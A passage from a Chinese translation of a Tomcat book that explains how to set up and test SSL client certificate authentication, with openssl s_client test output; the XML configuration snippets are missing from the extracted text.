EC:40:7D:2B:76:52:67:05:2C:EA:F2:3A:4F:65:F0:D8 接着,必须通过设定 Tomcat 的 HTTPS 连接器来进行 SSL 客户端验证。请将 HTTPS 连 接器的 Factory 元素(在 server.xml 中)中的 clientAuth 属性设为 true: 同时,确保正确地设定了 keystoreFile与 keystorePass属性,以便 Tomcat 能打开密 钥库。 激活(或再激活) Tomcat,并且需要给予充分的时间来完成激活作业,因为 Tomcat 需 要初始化 SecureRandom 的随机数产生器,而这会需要几秒钟的时间。 然后,客户端必须将客户端认证导入到网页浏览器中。一般而言,网站的系统管理员会 产生客户端认证,并将其以某种安全的方式传送给客户端。请记住,尽管 Email并不是 非常安全的方式,但是却经常被用来传送认证。如果可能,最好让客户端经由安全的复 制机制(如 SSH的 scp)来复制其认证。当客户端用户取得其 client1.p12的客户端认证 后,他应该将其导入到浏览器中。 注意:举例来说,在 Mozilla 浏览器中,导入工具是在“个人及安全设定”功能下的“认证”中。 先单击“管理认证 ...”按钮,然后按下“导入”钮将认证导入到“你的认证”集合。 在测试客户端认证前,你应该通过设定 Web应用程序来使用CLIENT-CERT 验证方法。 以下的设定示范了如何通过编辑ROOT应用程序的 Web.xml 来使用CLIENT-CERT,这 个例子仅仅用作测试: Welcome to Tomcat 170 第六章182 Welcome to Tomcat CLIENT-CERT Client Cert Users-only Area 请注意,此描述文件(descriptor)并不需要任何security-constraint就能将CLIENT- CERT 应用于整个应用程序中。只有在需要通过设定应用程序来使用 security- constraint 及 Realm 时,才会用到安全防护的限制。 通过从命令行执行下列命令来测试你的客户端认证: # openssl s_client -connect localhost:8443 -cert /etc/ssl/private/client/client1.pem -key /etc/ssl/private/client/client1.key -tls1 如果一切都已正确地设定,你将会看到类似下列的输出消息: CONNECTED(00000003) depth=0 /C=US/ST=California/L=Dublin/O=BrittainWeb/OU=System Administration/ CN=Jason Brittain verify error:num=18:self signed certificate verify return:1 depth=0 /C=US/ST=California/L=Dublin/O=BrittainWeb/OU=System Administration/ CN=Jason Brittain verify return:1 --- Certificate chain 0 s:/C=US/ST=California/L=Dublin/O=BrittainWeb/OU=System Administration/CN=Jason Brittain i:/C=US/ST=California/L=Dublin/O=BrittainWeb/OU=System Administration/CN=Jason Brittain --- Server certificate -----BEGIN CERTIFICATE----- MIICeDCCAeECBD5H4zUwDQYJKoZIhvcNAQEEBQAwgYIxCzAJBgNVBAYTAlVTMRMw EQYDVQQIEwpDYWxpZm9ybmlhMQ8wDQYDVQQHEwZEdWJsaW4xFDASBgNVBAoTC0Jy aXR0YWluV2ViMR4wHAYDVQQLExVTeXN0ZW0gQWRtaW5pc3RyYXRpb24xFzAVBgNV BAMTDkphc29uIEJyaXR0YWluMB4XDTAzMDIxMDE3MzY1M1oXDTAzMDUxMTE3MzY1 M1owgYIxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMQ8wDQYDVQQH EwZEdWJsaW4xFDASBgNVBAoTC0JyaXR0YWluV2ViMR4wHAYDVQQLExVTeXN0ZW0g QWRtaW5pc3RyYXRpb24xFzAVBgNVBAMTDkphc29uIEJyaXR0YWluMIGfMA0GCSqG SIb3DQEBAQUAA4GNADCBiQKBgQCnLV6bjD27Odw7z7juaW7uQ+tkfYQnVc/Z3kpS XScmQlyJ26zVH/LaYEz2CdaGKTow1kJSX/yKBdsfboW+gFlO83zFJDUdR3927afv sBG9L+/yuNMb5Z7tTkOONOFlDyLB9SY0hwwJv1MHpgzWF29TlgHB24+tKIJbQ4kX 171 183Tomcat 的安全防护 ixzxLwIDAQABMA0GCSqGSIb3DQEBBAUAA4GBABp2KgmM6G/EFmzTSnisgVgzyuhj AbaYp9uvHSuRjQx0P+/2A5kbK+SAHQBJQ4+iw4Z/OKvNoPPd5VPuEmaiyi8FojGn Qr21Bp9A9KhEPbCXU3QLZ4LjzNLi0CRo6nceA1xEy9sWQCfisyFJwMZ75Wj/hfA4 0GJeTeVRsKToyu4M -----END CERTIFICATE----- subject=/C=US/ST=California/L=Dublin/O=BrittainWeb/OU=System Administration/ CN=Jason Brittain issuer=/C=US/ST=California/L=Dublin/O=BrittainWeb/OU=System Administration/ CN=Jason Brittain --- Acceptable client certificate CA names /C=US/O=VeriSign, Inc./OU=Class 2 Public Primary Certification Authority /C=US/O=VeriSign, Inc./OU=Class 3 Public Primary Certification Authority /C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services Division/CN=Thawte Premium Server CA/Email=premium- server@thawte.com /C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting/OU=Certification Services Division/CN=Thawte Personal Freemail CA/Email=personal-freemail@thawte.com /C=US/O=RSA Data Security, Inc./OU=Secure Server Certification Authority /C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification Authority /C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services Division/CN=Thawte Server CA/Email=server-certs@thawte.com /C=US/O=VeriSign, Inc./OU=Class 4 Public Primary Certification Authority /C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting/OU=Certification Division/ CN=Thawte Personal Premium CA/Email=personal-premium@thawte.com /C=US/ST=California/L=Dublin/O=Jason's Certificate Authority/OU=System Administration/CN=Jason Brittain/Email=jasonb@collab.net /C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting/OU=Certification Services Division/CN=Thawte Personal Basic CA/Email=personal-basic@thawte.com --- SSL handshake has read 2517 bytes and written 1530 bytes --- New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA Server public key is 1024 bit SSL-Session: Protocol : TLSv1 Cipher : DES-CBC3-SHA Session-ID: 3E47E6583D62F9C7A8AF136FEA9B90A4A17E93E18DB98634FC3F75A1BD080EF6 Session-ID-ctx: Master-Key: 2625E1CE66C2EB88D2EF1767877EA6996DD4B4B847CD3B0D4D1CC62216C1 80A0829DBD21DE5D399760A3BA760872C527 Key-Arg : None Start Time: 1044899416 Timeout : 7200 (sec) Verify return code: 0 (ok) --- 然后,openssl s_client 会等你输入请求,来完成 SSL 连接(现在已开启)。输入下列请 求: 172 第六章184 GET /index.jsp HTTP/1.0 并按两次 Enter 键,你就会看到 Tomcat 的响应(冗长网页的 HTML 源代码)。你可以使 用此客户端来帮助解决任何问题,以及测试经由 HTTPS在 Tomcat上执行的Web应用程 序。 通过使用这个技术,你可以(免费地) 替每个用户产生一份客户端认证,并派发给他们, 然后当用户将认证安装在其浏览器中后,他们便不再需要输入登录密码了。或者,可以 通过组合客户端认证验证及密码或其他的验证技术,来实施多重身份确认的登录方式。 172
还剩43页未读

继续阅读

下载pdf到电脑,查找使用更方便

pdf的实际排版效果,会与网站的显示效果略有不同!!

需要 8 金币 [ 分享pdf获得金币 ] 1 人已下载

下载pdf

pdf贡献者

ka520

贡献于2015-11-09

下载需要 8 金币 [金币充值 ]
亲,您也可以通过 分享原创pdf 来获得金币奖励!
下载pdf